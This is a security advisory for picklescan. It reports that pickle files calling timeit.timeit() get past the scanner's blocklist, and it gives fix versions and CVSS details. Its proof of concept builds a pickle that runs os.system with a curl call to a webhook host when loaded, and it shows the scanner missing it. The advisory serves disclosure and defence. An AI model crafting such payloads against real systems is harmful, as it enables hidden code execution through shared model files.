GHSA-v7x6-rv5q-mhwc CVE-2025-71351 PYSEC-2026-4135
Picklescan missing detection when calling built-in python library function timeit.timeit()
- Severity
- 0.0 / 10
- Medium · CVSS 4.0
- Exploit chance (EPSS)
- 0.55%
- Chance of exploitation in the next 30 days. Higher than 46.17% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-184 Incomplete List of Disallowed Inputs
- Fix
0.0.25- Upgrade picklescan to this version or later
Description
Summary
Using timeit.timeit() function, which is a built-in python library function to execute remote pickle file.
Details
Pickle’s deserialization process is known to allow execution of function via reduce method. While Picklescan is meant to detect such exploits, this attack evades detection by calling built-in python library function like timeit.timeit(). And since timeit library wasn't inside unsafe globals blacklist, it may not raise red flag in the security scan.
The attack payload executes in the following steps:
First, the attacker craft the payload by calling to timeit.timeit() function from timeit library in reduce method Then, inside reduce method, the attacker import dangerous libarary like os and calling os.system() to run OS commands, for example: curl command. And then the attacker send this malicious pickle file to the victim. Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.
PoC
- The attacker crafted a malicious pickle file using built-in python library function timeit.timeit()
import pickle
import timeit
class Payload(object):
def __reduce__(self):
return timeit.timeit, ('','import os; os.system("curl https://webhook.site/95f3e1c3-ee37-4a5a-8544-ab4ce93475f6")')
def create_payload():
with open('payload.pickle', 'wb') as f:
pickle.dump(Payload(), f)
create_payload()
Then the attacker will send this pickle file to the victim computer and maybe the victim load this pickle using pickle.load() 2. The victim will use picklescan library to check out if the received pickle file is malicious or not
picklescan -p payload.pickle
----------- SCAN SUMMARY -----------
Scanned files: 1
Infected files: 0
Dangerous globals: 0
- Beliving that this pickle file is safe using modelscan, the victim then load this pickle file which will trigger timeit.timeit command to execute OS commands (in my example, it was curl command)
import pickle
def load_payload():
with open('payload.pickle', 'rb') as f:
pickle.load(f)
load_payload()
Impact
Severity: High
Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.
Recommended Solution
I suggest adding timeit library to the unsafe globals blacklist.
Affected versions
PyPI
| Package | Vulnerable | Fixed in |
|---|---|---|
| picklescan | < 0.0.25 |
0.0.25 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
picklescan PyPI → 0.0.25
- pip
pip install --upgrade "picklescan>=0.0.25"- poetry
poetry add "picklescan>=0.0.25"- uv
uv add "picklescan>=0.0.25"
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- None
- User interaction
- Passive
- Confidentiality (vulnerable system)
- None
- Integrity (vulnerable system)
- Low
- Availability (vulnerable system)
- None
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
Weakness
CWE-184: Incomplete List of Disallowed Inputs
The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete.
How to prevent it
- Implementation: Do not rely exclusively on detecting disallowed inputs. There are too many variants to encode a character, especially when different environments are used, so there is a high likelihood of missing some variants. Only use detection of disallowed inputs as a mechanism for detecting suspicious activity. Ensure that you are using other protection mechanisms that only identify "good" input - such as lists of allowed inputs - and ensure that you are properly encoding your outputs.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-g38g-8gr9-h9xp PickleScan has multiple stdlib modules with direct RCE not in blocklist | Critical | Also affects picklescan |
| GHSA-vvpj-8cmc-gx39 PickleScan's pkgutil.resolve_name has a universal blocklist bypass | Critical | Also affects picklescan |
| GHSA-7wx9-6375-f5wh PickleScan's profile.run blocklist mismatch allows exec() bypass | Critical | Also affects picklescan |
| GHSA-97f8-7cmv-76j2 Picklescan (scan_pytorch) Bypass via dynamic eval MAGIC_NUMBER | High | Also affects picklescan |
| GHSA-m7j5-r2p5-c39r picklescan vulnerable to arbitrary file create using logging.FileHandler | Medium | Also affects picklescan |
| GHSA-9m3x-qqw2-h32h picklescan missing detection by simple obfuscation of a `builtins.eval` call | Critical | Also affects picklescan |
| GHSA-9726-w42j-3qjr picklescan has Arbitrary file read using `io.FileIO` | High | Also affects picklescan |
| GHSA-46h3-79wf-xr6c Picklescan is vulnerable to RCE via missing detection when calling built-in python _operator.attrgetter | High | Also affects picklescan |
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